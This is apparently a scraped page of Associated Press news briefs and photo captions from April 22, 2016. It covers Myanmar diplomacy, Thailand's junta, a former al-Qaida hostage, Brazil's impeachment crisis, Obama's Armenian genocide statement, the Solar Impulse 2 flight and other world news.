Scot Marcie, U.S Ambassador to Myanmar, attends a meeting with Myanmar Foreign Affair Minister Aung San Suu Kyi at the Ministry of Foreign Affairs, Friday, April 22, 2016, in Naypyitaw, Myanmar. Aung San Suu Kyi met Friday with foreign diplomats at her Foreign Ministry. (AP Photo/Aung Shine Oo)

Myanmar Foreign Affair Minister Aung San Suu Kyi, center, arrives to attend a meeting with diplomats at the Ministry of Foreign Affairs, Friday, April 22, 2016, in Naypyitaw, Myanmar. Aung San Suu Kyi met Friday with foreign diplomats at her Foreign Ministry. (AP Photo/Aung Shine Oo)

Myanmar Foreign Affair Minister Aung San Suu Kyi smiles as she speaks during a meeting with diplomats at the Ministry of Foreign Affairs, Friday, April 22, 2016, in Naypyitaw, Myanmar. Aung San Suu Kyi met Friday with foreign diplomats at her Foreign Ministry. (AP Photo/Aung Shine Oo)
UN human rights chief urges Thai junta to allow dissent

BANGKOK (AP)  The U.N.'s top human rights official urged Thailand's military government on Friday to ease limits on free speech, especially those restricting debate over a proposed constitution that faces a referendum in August.

U.N. High Commissioner for Human Rights Zeid Ra'ad Al Hussein also expressed concern about the military's expanding role in policy-making and law enforcement. He repeated a call for all cases involving civilians to be transferred from military to civilian courts.

Thailand has been ruled by a military junta since a May 2014 coup ousted an elected government. The junta uses arbitrary detention to punish critics, and recently announced strict limits on public expressions of criticism or support of the draft constitution, a move directed chiefly against the charter's opponents. Several opponents of the draft charter have already been temporarily detained.

"An open and dynamic public debate on the draft constitution would foster national unity, strengthen the legitimacy and acceptance of the constitution and provide a sense of collective ownership," Zeid said in a statement. "I urge the government to actively encourage, rather than discourage, dialogue and engagement on the draft constitution. This would be an important step in establishing a solid foundation for a sustainable democracy in Thailand."

The statement also noted recent measures broadening the military's role in areas normally under civilian stewardship.

These include an order empowering military officers and paramilitary forces to conduct law enforcement functions such as searching property, seizing assets, suspending financial transactions, banning suspects from traveling and detaining individuals for up to seven days, without any warrant, judicial oversight or administrative accountability.

Zeid said the draft constitution promoted by the military would institutionalize the role of the military in policy-making and law enforcement and permanently legalize all orders issued by the junta chief under Article 44 of the temporary charter put in place after the coup. Under the article, the junta chief is effectively allowed to issue any executive, judicial or legislative order, and he has done so 61 times, the statement said.
Former al-Qaida hostage recounts bitter return to France

PARIS (AP)  The back of his shorn head still bears a deep scar of his al-Qaida jailers' beatings, although he has regained the weight that sloughed off during more than three years of captivity.

Most of all, Serge Lazarevic is angry.

Not so much anymore at the men who abducted him and his friend Philippe Verdon, but at the indifference of his own French government which, he says, has no idea how to cope with him or other victims of Islamic extremists. The Franco-Serb's homecoming in December 2014 was met with a joyful celebration, but that was largely the fruit of his daughter's own efforts.

FILE - In this Dec. 10, 2014 file photo, France's Serge Lazarevic and his daughter Diane listen to speeches after he arrived at Villacoublay's military airport, west of Paris. Serge Lazarevic, who was abducted in Mali and held hostage by al-Qaida extremists for more than three years, has recounted his bitter homecoming to France to the Associated Press on Friday, April 22, 2016. Lazarevic says his government has no idea how to come with him or other victims of Islamic militants. He was abducted with his friend, Philippe Verdon, as they were scouting locations for a cement factory. Verdon was killed in captivity. Lazarevics book, From One Desert to Another comes out next week. (AP Photo/Michel Euler, File)

Lazarevic and Verdon were scouting to build a cement factory in Mali in November 2011 when they were abducted from their hotel. Verdon was shot to death in mid-2013, at the height of France's air-and-ground campaign to oust al-Qaida-linked extremists who had taken over a vast expanse in northern Mali.

As the 54-year-old Lazarevic recounts in his book "From One Desert to Another," which is coming out next week, the months that followed his return became a nightmare of a different sort as he tried to reclaim his life.

He learned that he'd been widely reported to be a Serbian agent, the result of a mix-up with another man years older who shared his name. Suddenly, the beatings, the torture, the incoherent allegations of his jailers made horrific sense, he said.

"I lived in incomprehension of why I was being tortured, why this was happening to me," he told The Associated Press in an interview Friday. "I think they didn't want to kill me but they wanted to make me suffer. And they succeeded. I was poisoned, tortured. Everything was done so I would suffer enormously. And that's still the case. I am still suffering. I no longer have a normal life."

Lazarevic, who wears a heavy leather jacket with a patch emblazoned "war veteran," is a thickset man with bright blue eyes that rarely blink. He lost 20 kilograms (40 pounds) in captivity, sustained on bread, water and sometimes insects.

He returned without any of the crutches that are essential to modern life in France. No bank card for an account that was emptied by recurring charges, since it was never suspended during his captivity. His French passport was somewhere in Mali three years ago, could be anywhere now. His paystubs and work history were seized when French intelligence agents combed through his Paris apartment for clues  but now he says that paperwork is missing. That same apartment, whose rent went unpaid during his years of captivity, was emptied, with only some of his stuff put into storage.

What he wants for hostages like him, he says, is more kindness and support from authorities.

"Clarity and a methodology. When you come back after being a hostage for two or three years, you don't want to deal with paperwork, administration. You don't want to fight to get your ID papers back," he says "No  you want a little corner where you can rebuild yourself."

When he and Verdon were kidnapped, the Saharan nation of Mali had not yet fallen under the control of the al-Qaida extremists, nor had the French military campaign begun. The two hostages were separated after about 15 months, but Lazarevic encountered other European hostages as he was moved from place to place. New captors were rotated in constantly.

"I must have seen 500 people, maybe more. Every 10 days they changed," he said.

Lazarevic was freed in exchange for four al-Qaida prisoners, according to Mali's government, although he said he's never heard that directly from French officials, who deny paying ransoms or taking part in exchanges.

When he returned to be debriefed by French intelligence agents, he said he recognized none of the men shown in photos.

"They showed me older people and my jailers were kids," he said.

He links his al-Qaida captors to the broader extremist movement, including the Islamic State attackers who killed 130 people in Paris on Nov. 13 last year and the men who attacked Paris' Charlie Hebdo paper and a kosher supermarket in January 2015.

In Mali, the kidnappings continue.

On Friday, extremists in Mali freed three staff members of the International Committee of the Red Cross who were kidnapped last week.

"I don't know what they want  a country, power?" Lazarevic mused. "Taking hostages, it's to get noticed. These terrorist attacks, they're also to get people talking about them."

FILE - In this Dec. 10, 2014 file photo, France's Serge Lazarevic and his daughter Diane listen to French President Francois Hollande, right, after he arrived at Villacoublay's military airport, west of Paris. Serge Lazarevic, who was abducted in Mali and held hostage by al-Qaida extremists for more than three years, has recounted his bitter homecoming to France to the Associated Press on Friday, April 22, 2016. Lazarevic says his government has no idea how to come with him or other victims of Islamic militants. He was abducted with his friend, Philippe Verdon, as they were scouting locations for a cement factory. Verdon was killed in captivity. Lazarevics book, From One Desert to Another comes out next week. (AP Photo/Michel Euler, File)
Norwegian fighter jet drops training mission to save patient

STOCKHOLM (AP)  In an unusual life-saving mission, a Norwegian fighter jet flew to the rescue when a patient in the country's north needed urgent help.

On April 4, a patient in Bodoe needed a machine that oxygenates blood and removes carbon dioxide but the closest one available was in Trondheim, 470 kilometers (290 miles) south.

Hospital officials turned to the Air Force for help, and luckily two F-16 fighters in Trondheim were about to take off on a training mission.

Doctor Anders Wetting Carlsen told Trondheim paper Adresseavisen that they helped out "without any questions, besides how big the machine was."

The paper said one of the jets transported the so-called ECMO machine to Bodoe in 25 minutes, saving the patient's life.
Albanian Parliament suspends ex-premier for his call to arms

TIRANA, Albania (AP)  The Albanian Parliament has suspended former prime minister Sali Berisha for 10 days after he urged citizens to arm themselves, accusing the government of being unable to protect them because of links to crime gangs.

Friday's decision followed Berisha's words a day earlier at a weekly parliamentary session during a discussion about a recent arrest of the leader of a criminal gang. Both of the country's main political parties accused the other of receiving assistance from criminals.

Berisha stepped down as prime minister and leader of the main opposition Democratic Party in 2013 after his center-right party was defeated in a parliamentary election.
Congressman faces charges, 1st primary challenge in 20 years

PHILADELPHIA (AP)  U.S. Rep. Chaka Fattah hasn't had a primary fight for two decades, but he now has three opponents in his heavily Democratic Philadelphia-area district, and one potentially far more dangerous challenge: the federal racketeering and bribery charges hanging over him.

On top of that, Fattah is being badly outspent and racking up debts. He faces trial May 16, three weeks after Tuesday's primary election in Pennsylvania.

But even though the mayor and governor are backing one of his opponents, Fattah still has the support of other key players with the resources to get voters to the polls  including a number of local elected officials, a House colleague who is a major city power broker, black ward leaders and some labor unions. Add in his strong name recognition, and the race is too close for political insiders to call.

FILE - In this June 30, 2011, file photo, U.S. Rep. Chaka Fattah, D-Pa., speaks during a Democratic National Committee event in Philadelphia. Pennsylvania state Rep. Dwight Evans, D-Philadelphia, and two other Democratic candidates are challenging Fattah's bid for re-election in Pennsylvania's Tuesday, April 26, 2016, primary, which is Fattah's first primary fight in two decades and takes place three weeks before his scheduled trial on federal racketeering, bribery, fraud and money laundering charges, slated to begin Monday, May 16, 2016. (AP Photo/Matt Rourke, File)

"He's being accused, it doesn't mean he's guilty," said Gregory Spearman, a Fattah supporter who leads west Philadelphia's 60th Ward. "How do you show your friend your loyalty? You just abandon him?"

First elected in 1994 at 37, Fattah has been a fixture as Pennsylvania's only black congressman from the state's only African American-majority district. He and his wife, a former TV news anchor, have been one of the city's power couples. He can boast about flying on Air Force One with President Barack Obama and bringing home millions in federal dollars for housing, scholarships, transportation and crime prevention.

He has won re-election 10 times without a primary challenger. He never won the general election with less than 86 percent, even in 2014, when a former senior aide pleaded guilty in a campaign finance scheme involving Fattah's failed 2007 mayoral bid.

Last July, Fattah was charged in an 18-count indictment with using federal grants and charitable donations to repay a wealthy donor's illegal $1 million campaign loan. The allegations have enveloped his family, including his wife, who left her job after being linked in the indictment to an alleged $18,000 sham sale of a Porsche that prosecutors called a bribe. She has not been charged and denies any wrongdoing.

Fattah said he is innocent, and forcefully sought to raise doubts about the government's case and whether it will go to trial, even as he has struggled to pay lawyers.

"I'm proud of my work, I think the people in my district are proud of my work and I think they're going to speak with a fairly loud voice" on Election Day, Fattah told The Associated Press. "There's been no debate about me in this race among the voters."

Challenging Fattah are state Rep. Dwight Evans, a 36-year state lawmaker seen as posing his strongest election test, and two lawyers, Dan Muroff and Brian Gordon.

The race has been relatively gentlemanly. Reporters rather than Fattah's competitors have challenged him on the government's allegations. His opponents have focused on the needs of the district's communities, such as better schools and better strategies for rooting out poverty and youth violence.

"When I got into this, I didn't get in because the congressman was indicted," Muroff said during a debate last week at public radio station WHYY. "I got in because I knew that people were going to be looking for a change, and I want to be that change."

Like Fattah, Evans has strong connections to the political establishment. He is backed by Gov. Tom Wolf, Mayor Jim Kenney, former Gov. Ed Rendell and various labor unions  and the deepest campaign pockets.

Evans may get a vote from 73-year-old Jap Hartsfield, who said he dislikes Fattah's long tenure in office. And while Fattah may still get re-elected, Hartsfield said, the criminal charges "are going to get a lot of people thinking."

Vincent Thompson, a political correspondent for the black radio station WURD-AM, said he believes the race is very tight. Last week, Thompson hosted a three-hour show that focused on the race. Of 50 callers, a handful more supported Fattah over Evans, Thompson said.

"I would not be surprised if Congressman Fattah wins re-election," he said.

Fattah reported just $12,000 in the bank March 31 and more than $40,000 in debts. The charges have chilled his ability to raise money, Fattah said. But he has engaged in a robust campaign of taxpayer-funded constituent outreach that has also allowed him to keep his name before voters in the weeks heading into the election.

Courtnei Barron hasn't paid much attention to the race, and hadn't initially planned to vote. But the 30-year-old Philadelphian said he has heard good things about Fattah, and would be inclined to support him, despite the charges.

"People just like scandal," Barron said. "But he has enough of a following, his name is well-known for the good stuff he's done."

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Levy reported from Harrisburg, Pennsylvania.

FILE - In this Sept. 17, 2009, file photo, Pennsylvania state Rep. Dwight Evans, D-Philadelphia, smiles in his office at the state Capitol in Harrisburg, Pa. Evans is considered the strongest of three Democratic candidates challenging U.S. Rep. Chaka Fattah's bid for re-election in Pennsylvania's Tuesday, April 26, 2016, primary, which is Fattah's first primary fight in two decades and takes place three weeks before Fattah's scheduled trial on federal racketeering, bribery, fraud and money laundering charges slated to begin Monday, May 16, 2016. (AP Photo/Carolyn Kaster, File)

FILE - In this Jan. 6, 2009, file photo, Pennsylvania state Rep. Dwight Evans, D-Philadelphia, takes the oath of office during a swearing-in ceremony on the floor of the Pennsylvania House of Representatives in Harrisburg, Pa. Evans is considered the strongest of three Democratic candidates challenging U.S. Rep. Chaka Fattah's bid for re-election in Pennsylvania's Tuesday, April 26, 2016, primary, which is Fattah's first primary fight in two decades and takes place three weeks before Fattah's scheduled trial on federal racketeering, bribery, fraud and money laundering charges slated to begin Monday, May 16, 2016. (AP Photo/Carolyn Kaster, File)
Brazil president will appeal to trade blocs over impeachment

NEW YORK (AP)  Brazilian President Dilma Rousseff said Friday she will appeal to South American trade blocs if she is removed from office, blasting the push to impeach her as a coup and a naked attempt by Brazil's elite to snatch power back from her Worker's Party.

Speaking to reporters, Rousseff said both the Mercosur and Unasur trade blocs have democracy clauses that she will invoke if there should be what she charged would be "a rupture in democracy" in her country.

She warned her opponents that her impeachment would have "serious consequences for the Brazilian political process."

Brazilian President Dilma Rousseff speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

"There is no judicial basis for this process of impeachment," Rousseff said. "I am not accused of crimes of corruption, diversion of public funds, nor do I have accounts abroad or any accusations of money laundering."

She said even some members of the opposition are beginning to support her, not necessarily because they agree with her policies, but rather because they see the impeachment push as a threat to Brazil's democracy.

The impeachment proceedings against Rousseff stem from allegations that illegal accounting tricks allowed her administration to maintain government spending to shore up flagging support. Her critics contend that also hid deficits that contributed to the country's worst recession since the 1930s.

Rousseff has defended such fiscal maneuvers as common practice in Brazil. She insists the accusations are a flimsy excuse by the traditional ruling elite to grab power back from her left-leaning Workers' Party, which has governed for 13 years and is credited with pulling millions of Brazilians out of abject poverty.

The lower Chamber of Deputies didn't agree. On Sunday, the body voted in favor of impeachment.

The measure is now in the Senate, which is expected to decide by mid-May whether to put the president on trial. A simple majority vote by senators is needed to approve a trial, and Rousseff would be suspended for up to 180 days while it was conducted. During that time, Vice President Michel Temer would take over.

Over the last few days, Brazilian media reported that more than half the 81 senators have said they will vote to consider impeachment, meaning Rousseff may soon be suspended.

Bringing the matter before the trade blocs would likely have little effect. As the blocs' biggest and most powerful member, and largest economy in Latin America, Brazil wields considerable influence. Leaders of some member countries, such as Argentina, Uruguay and Paraguay, might be sympathetic to her plea, but it's unlikely they would want to risk alienating a new administration in Brazil if it looks like Rousseff is on her way out.

Rousseff blamed corrupt politicians in Congress, a hostile media and flagging economy for her woes and took no responsibility for the charges against her.

"It's a coup because you have a coup when the process that gets started has no basis. If in the past coups required tanks, machine guns, assault rifles, etcetera, today it's enough to have hands that tear up constitutions, and that is what's happening in Brazil," she said.

Rousseff was in New York to address the United Nations at a signing ceremony for the Paris Agreement on climate change.

Many in Brazil had expected Rousseff to use the U.N. platform to make her anti-impeachment case to the world leaders gathered at the conference, but she made only a brief allusion to Brazil's situation.

Opposition leaders, including Temer, sharply criticized Rousseff for traveling to New York, arguing that the impeachment movement is legal and that the president shouldn't be badmouthing Brazil to the rest of the world.

Speaking to reporters after the speech, Rousseff pointed out that many of the people leading the impeachment drive against her, including Eduardo Cunha, speaker of the Chamber of Deputies, are facing corruption allegations. She vowed to fight to stay in office until the next round of elections.

"I can't say today what is going to happen. I just want to say that I will fight for my mandate. I think it's absolutely correct today that I only respect direct elections," Rousseff.

In Brazil, Attorney General Rodrigo Janot said Friday that investigators are looking into six new cases of corruption against Cunha. Janot didn't provide details, but said they were not connected to earlier cases linking Cunha.

Brazilian President Dilma Rousseff greats the United Nations Secretary General Ban Ki-moon, second from right, and French President Francois Hollande, second from left, during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Dilma Rousseff, President of Brazil, speaks before signing the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)
School board seeks review of transgender bathroom ruling

RICHMOND, Va. (AP)  A Virginia school board will ask the full 4th U.S. Circuit Court of Appeals to review the court's ruling that a high school discriminated against a transgender teen by forbidding him from using the boys' restroom.

In a statement presented at the Gloucester County School Board meeting Thursday night, Chairman Troy Andersen said the board decided unanimously to file a petition for an en banc hearing before the court.

A three-judge panel ruled Tuesday that the policy is discriminatory. A federal judge had rejected a sex discrimination claim by Gloucester High School student Gavin Grimm, who was born female but identifies as male. After complaints, the school board adopted a policy requiring students to use public restrooms corresponding with their biological gender.
3-week pause for hijacking suspect's extradition proceedings

NICOSIA, Cyprus (AP)  A court in Cyprus has adjourned extradition proceedings for an Egyptian hijacking suspect for three weeks after prosecutors requested more time to examine documents from Egyptian authorities.

Robertos Vrahimis, the lawyer for 59-year-old Seif Eddin Mustafa who prosecutors say has admitted hijacking an EgyptAir flight and diverting it to Cyprus last month, told The Associated Press Friday his client didn't object to remaining in custody until his next court appearance on May 13.

Vrahimis said Mustafa's political asylum request will continue to be examined. Mustafa is fighting extradition over fears of how he'll be treated by Egyptian authorities because of his political beliefs.

EgyptAir plane hijack suspect Seif Eddin Mustafa, 59, 2nd right, with t-shirt is escorted by Cyprus police officers as he arrives in a court in capital Nicosia, Cyprus, Friday, April 22, 2016. Mustafa described as "psychologically unstable" hijacked a flight on Tuesday, March 29, 2016, from Egypt to Cyprus and threatened to blow it up. His explosives turned out to be fake, and he surrendered with all passengers released unharmed after a bizarre six-hour standoff. (AP Photo/Petros Karadjias)

Before entering the court, Mustafa had his shirt unbuttoned to reveal a T-shirt saying, "CICI KILLER"  an apparent reference to Egyptian President Abdel-Fatah el-Sisi.

EgyptAir plane hijack suspect Seif Eddin Mustafa, 59, 2nd left, with t-shirt is escorted by Cyprus police officers as he arrives in a court in capital Nicosia, Cyprus, Friday, April 22, 2016. Mustafa described as "psychologically unstable" hijacked a flight on Tuesday, March 29, 2016, from Egypt to Cyprus and threatened to blow it up. His explosives turned out to be fake, and he surrendered with all passengers released unharmed after a bizarre six-hour standoff. (AP Photo/Petros Karadjias)
Obama breaks promise to call Armenian killings 'genocide'

WASHINGTON (AP)  President Barack Obama declined Friday to call the 1915 massacre of Armenians a genocide, breaking a key campaign promise as his presidency nears an end.

Obama, marking the upcoming Armenian Remembrance Day, called the massacre the first mass atrocity of the 20th century and a tragedy that must not be repeated. Yet he stopped short of using the word "genocide," a phrase he applied to the killings before he became president in 2009.

"I have consistently stated my own view of what occurred in 1915, and my view has not changed," Obama said.

Armenian-American leaders have urged Obama each year to make good on a pledge he made as a candidate in 2008, when he said the U.S. government had a responsibility to recognize the attacks as genocide and vowed to do so if elected. Obama's failure to fulfill that pledge in his final annual statement on the massacre infuriated advocates and lawmakers who accused the president of outsourcing America's moral voice to Turkey, which staunchly opposes the genocide label.

"It's a Turkish government veto over U.S. policy on the Armenian genocide," Aram Hamparian, head of the Armenian National Committee of America, said in an interview. "It's like Erdogan imposing a gag rule very publicly and an American president enforcing that gag rule." He was referring to Turkish President Recep Tayyip Erdogan.

Historians estimate that as many as 1.5 million Armenians were killed by Ottoman Turks in an event widely viewed by scholars as genocide. Turkey, a key U.S. partner and NATO ally, denies the deaths constituted genocide and says the death toll has been inflated.

Though Obama administration officials have debated using the genocide label in the past, this year's deliberations come as Obama seeks Turkey's assistance in fighting the Islamic State group  especially along Turkey's long border with Syria. The U.S. and its European partners are also counting on Erdogan to help stem the influx of migrants to Europe.

If Obama felt pressure not to offend Turkey during a critical time, he wasn't alone among world leaders. German Chancellor Angela Merkel has faced intense criticism for allowing the possible prosecution of a TV comic for writing an intentionally offensive poem about Erdogan.

Hamparian said officials from the White House's National Security Council and the Atrocities Prevention Board that Obama established told him Thursday that calling it genocide would introduce uncertainty in the region during a time when Turkey is playing a key role in a range of priorities. He said it was hypocritical for Obama to call every year for "a full, frank, and just acknowledgment of the facts" while refusing to acknowledge them himself. "It's like, 'You should do this, but I won't,'" Hamparian said.

Obama's calls for transparency about the massacre played a prominent role in his presidential campaign, held up by Obama as an example of the type of sorely needed straight talk about foreign affairs and historical events. Samantha Power, one of his key campaign surrogates and now his U.N. ambassador, issued a roughly five-minute video imploring Armenian-Americans to vote for Obama precisely because he would follow through on his promise.

Rep. Adam Schiff, the top Democrat on the House Intelligence Committee, said he was "gravely disappointed" Obama would leave office with the campaign pledge unfulfilled. Schiff has introduced legislation calling on the president to urge Turkey to fully acknowledge the genocide.

"Remaining silent in an effort to curry favor with Turkey is as morally indefensible as it will be ineffectual," Schiff said.

The White House released Obama's annual statement on the massacre while the president was traveling in London. White House officials declined to comment on the broken campaign promise.

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AP Diplomatic Writer Matthew Lee contributed to this report.

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Croatia holds WWII death camp commemoration despite boycott

JASENOVAC, Croatia (AP)  Croatian government has held a commemoration ceremony at the site of a notorious World War II death camp despite a boycott by the Jewish and Serb communities in protest over alleged inaction to curb the surge of neo-Nazi sentiment in the country.

Prime Minister Tihomir Oreskovic and other officials laid wreaths during the solemn event Friday at the Jasenovac camp site, near Zagreb.

Croatia's Jewish community held a separate Holocaust commemoration a week ago. They have complained that the new right-wing Croatian authorities were downplaying the crimes committed by Croatia's pro-Nazi regime during the war.
The Latest: Solar plane's Pacific crossing going smoothly

The Latest on the flight of a solar-powered airplane from Hawaii to California in an attempt to circumnavigate the globe (all times local):

9:45 p.m.

The final leg of a solar-powered airplane's journey across the Pacific Ocean is going smoothly.

In this photo provided by Solar Impulse, the solar powered plane, "Solar Impulse 2," piloted by Bertrant Piccard of Switzerland, is seen in the air Thursday, April 21, 2016, after successfully taking off from Kalaeloa Airport, O'ahu, Hawaii, for a non-stop three day flight expected to cover about 3,760 kilometers (2,336 miles) to San Francisco. (Jean Revillard/Solar Impulse via AP)

That's according to the project's website, which says the Solar Impulse 2 aircraft picked up a strong tail wind and is cruising at 150 kph, or about 93 mph. The website says that's considered fast for the plane.

Solar Impulse 2 is 36 hours into a three-day flight over the Pacific with solo pilot Bertrand Piccard at the controls.

The plane took off from Hawaii on Thursday morning and is expected to arrive in the San Francisco Bay Area by Saturday evening.

The aircraft started its around-the-world journey in March 2015 from Abu Dhabi, the capital of the United Arab Emirates, and made stops in Oman, Myanmar, China and Japan. It's on the ninth leg of its circumnavigation.

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5 p.m.

A solar-powered airplane has passed the halfway point for the final leg of its around-the-world journey as it flies high above the Pacific Ocean en route to a stop in Northern California.

The project's website says the Solar Impulse 2 aircraft is 32 hours into a three-day flight over the Pacific with solo pilot Bertrand Piccard at the controls.

The plane took off from Hawaii on Thursday morning and is expected to arrive in the San Francisco Bay area by Saturday evening.

The trans-Pacific leg of his journey is the riskiest part of the plane's global travels because of the lack of emergency landing sites.

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12:50 p.m.

The pilot of a solar-powered airplane on an around-the-world journey has received a midair greeting from United Nations Secretary-General Ban Ki-moon, who lauded him by phone for his historic journey.

"I am inspired by your pioneering spirit," Ban told Solar Impulse 2's pilot, Bertrand Piccard, during a brief conversation streamed live on the aircraft's website.

Piccard told the secretary-general he, too, is making history by having just presided over the signing of a climate change agreement by representatives of 175 nations gathered at the U.N. in New York.

Piccard said his flight is showing that solar energy is the pathway to a future with reduced carbon emissions and a safer, cleaner planet Earth.

The pair spoke on Earth Day, as Piccard continued his journey from Hawaii to Northern California.

He told Ban he is about halfway there and expects to arrive in San Francisco on Saturday evening.

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8:15 a.m.

A solar-powered airplane on an around-the-world journey is about a third of the way from Hawaii to California.

The project's website says the Solar Impulse 2 aircraft is nearly 23 hours into a three-day flight over the Pacific with solo pilot Bertrand Piccard at the controls.

A live image from the plane showed the first light of dawn on the horizon.

The aircraft's wings are covered with solar cells to take energy from the sun to power the motors turning its propellers. During darkness it relies on energy stored in batteries.

The aircraft's destination on this leg of the journey is Mountain View, California, at the southern end of San Francisco Bay.

The aircraft started its journey in March 2015 from Abu Dhabi, the capital of the United Arab Emirates, and made stops in Oman, Myanmar, China and Japan before reaching Hawaii.

FILE - In this Thursday, April 21, 2016 file photo, the Solar Impulse 2 solar plane lifts off at the Kalaeloa Airport, in Kapolei, Hawaii. The solar plane on an around-the-world journey has reached the point of no return over the Pacific Ocean after departing Hawaii, and now it's California or bust. The plane was cruising over the cold northern Pacific late Thursday at about 20,000 feet with a nearly-full battery as night descended, according to the website that's documenting the journey of Solar Impulse 2. (AP Photo/Marco Garcia, File)

FILE - In this Thursday, April 21, 2016 file photo, the Solar Impulse 2 solar plane flies out of the Kalaeloa Airport, in Kapolei, Hawaii. The solar plane on an around-the-world journey has reached the point of no return over the Pacific Ocean after departing Hawaii, and now it's California or bust. The plane was cruising over the cold northern Pacific late Thursday at about 20,000 feet with a nearly-full battery as night descended, according to the website that's documenting the journey of Solar Impulse 2. (AP Photo/Marco Garcia, File)
Pakistan PM bows to pressure on probe of offshore accounts

ISLAMABAD (AP)  Pakistan's Prime Minister Nawaz Sharif on Friday bowed to opposition demands that he ask the chief justice to set up an independent commission to investigate offshore accounts linked to his family.

In a national address, he said he would accept the findings of the commission, which will look into links disclosed in the massive leak of documents from a Panama-based law firm.

Sharif's sons are among several politicians, business leaders and other celebrities referenced in millions of leaked documents from the law firm, Mossack Fonseca & Co., which detail how the wealthy avoid tax obligations.

Sharif had earlier said the investigation would be led by a retired judge, drawing fire from opposition politician Imran Khan and others, who demanded a commission established by the chief justice of the Supreme Court.

Sharif has denied any wrongdoing during his 30-year political career, saying the fact that he is serving a third term proves the nation has confidence in his "clean and transparent politics."

He dismissed allegations of corruption, saying they had been investigated long ago and that no wrongdoing had been found, even during the rule of Gen. Pervez Musharraf, who had overthrown Sharif in a 1999 military coup.

"We believe in uprooting corruption and providing good governance for the people," Sharif said, adding that his critics want him to "respond to baseless allegations instead of serving the masses."

Elsewhere in Pakistan on Friday, gunmen riding a motorcycle shot and killed a lawmaker from Khan's Tehrik-e-Insaf party in the northwestern Khyber Pakhtunkhwa province, said Bakht Zamin, an area police officer.
Rescue workers search for victims of collapsed bike path

RIO DE JANEIRO (AP)  Searchers looked on Friday for more victims from the collapse of an elevated bike path that had been heralded as a top legacy project of the Rio de Janeiro Olympics, while City Hall said it hired independent agencies to study the cause of the accident.

A 50-meter (164-foot) stretch of the three-month-old, oceanfront Tim Maia bike path fell Thursday after it was apparently hit by a powerful wave. Helicopters fished the bodies of two victims from the ocean, and the head of the fire department's maritime rescue units said Friday that boats, helicopters and planes were continuing to search the water.

Local news reports cited witnesses as saying a total of five people might have been on that section of the bike path when a large wave swept up a rocky cliff, lifted it off support beams and sent it plunging onto the rocks and sea below. Those reports prompted speculation that the section might not have been properly attached to the beams.

People watch rescue helicopters search for victims after a bike lane collapsed in Rio de Janeiro, Brazil, Thursday, April 21, 2016. Part of an elevated bike lane built ahead of the Olympic Games collapsed on Thursday, killing at least two people who were on it when cement gave way and crashed onto the beach below. (AP Photo/Felipe Dana)

Shoddy construction is a perennial problem in Brazil, where graft is a fixture of many construction projects.

Engineers have also raised the possibility that the bike path failed to plan for violent swells despite them being a fairly regular occurrence in the waters off Rio.

In a statement, City Hall said a top local engineering school and a federal water research agency would inspect the length of the bike path in an effort to find the cause of the accident and determine what needs to be done to prevent similar occurrences. The agencies are expected to produce their report within 30 days. In the meantime, the bike path will remain closed.

They agencies also inspect an extension of the bike path that is currently under construction, the statement said.

"We are going to find out the responsibilities, wherever they lie," Municipal Executive Secretary Pedro Paulo Carvalho said in the statement.

In an interview early Friday with Globo television, Carvalho acknowledged that the path's "engineering is under suspicion," but added that "what we can't do is get ahead of ourselves with a premature diagnosis."

Inaugurated with considerable fanfare Jan. 17, the Tim Maia bike path links the tony beachfront neighborhoods of Sao Conrado and Leblon, snaking along the coast high above the rocky cliffs and water. Rio Mayor Eduardo Paes hailed the 4-kilometer (2.5-mile) path as "the most beautiful bike path in the world."

While no Olympic events were slated to be held on the path itself, it owed its construction to the Aug. 5-21 Olympics in Rio and was widely seen as one of the games' most positive legacy projects. However, soon after its Jan. 17 inauguration, detractors began complaining that its narrowness made users vulnerable to muggers. Others complained about its cheap materials, pointing to pieces already rusting and parts of handrails gone missing.

The project, initially budgeted at 35 million Brazilian reais ($10 million), ballooned by around 30 percent to 45 million Brazilian reais ($12.5 million) and was delivered six months late, the Rio newspaper O Globo reported Friday.

The accident was the latest in a series of problems besetting preparations for the games, which include worries about an outbreak of the Zika virus, political turmoil that threatens to topple President Dilma Rousseff, underwhelming ticket sales and budget cuts amid Brazil's worst recession in decades.

A bike lane is missing a section after it collapsed onto the beach below in Rio de Janeiro, Brazil, Thursday, April 21, 2016. Part of the elevated bike lane built ahead of the Olympic Games collapsed on Thursday, killing at least two people who were on it when cement gave way. (AP Photo/Felipe Dana)
US acknowledges another 20 civilian deaths in Syria, Iraq

WASHINGTON (AP)  U.S. airstrikes aimed at Islamic State targets in Syria and Iraq killed 20 civilians between September and February, including eight in a single attack on a mortar position used by militants, the U.S. military said Friday.

The 20 deaths nearly doubled the total number of acknowledged civilian deaths since the U.S.-led air campaign began in 2014. The U.S. has conducted nearly 12,000 airstrikes since bombing began in Iraq in August 2014 and in Syria a month later. The air campaign has been a central element of the U.S. strategy for disrupting and eventually defeating IS.

In announcing the results of several investigations stemming from allegations of civilian casualties, U.S. Central Command said it concluded "the preponderance of evidence" indicates 20 civilians were killed and 11 others injured in nine attacks between Sept. 10, 2015 and Feb. 2, 2016. All were judged to have been the unintended result of attacks on legitimate targets.

Six of the strikes were in Iraq and three were in Syria. Armed drones were involved in some cases; manned aircraft in others.

A spokesman for the command, Col. Patrick Ryder, told reporters the U.S. regrets the casualties and contends that the campaign is the "the most precise air campaign in the history of warfare." He said the military takes great care to avoid civilian casualties.

"There is no such thing as an intentional civilian casualty," Ryder said. "We are attempting to avoid civilian casualties, but in these cases, unfortunately, we assess that it was likely that civilians had died." He added, "In this type of armed conflict, particularly with an enemy who hides among the civilian population, there are going to be, unfortunately, civilian casualties at times."

Since the start of U.S. airstrikes in 2014, the U.S. has acknowledged a total of 41 civilian deaths in Iraq and Syria, including those announced Friday.

The most deadly of the nine investigated airstrikes, in terms of civilian casualties, was an Oct. 5, 2015, attack on an Islamic State mortar position in Atshanah, Iraq. Central Command said eight civilians were killed; it did not elaborate on the circumstances.

On Dec. 12, 2015, a strike on a suspected Islamic State checkpoint in Ramadi killed five civilians. Central Command said they "unexpectedly moved into the target locations after weapons were already in flight."

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Solar plane passed half way point for final leg of journey

OVER THE PACIFIC OCEAN (AP)  The pilot of a solar-powered plane on an around-the-world journey took a few minutes Friday to exchange pleasantries with the United Nations secretary general as he flew high above the Pacific Ocean en route to a stop in Northern California.

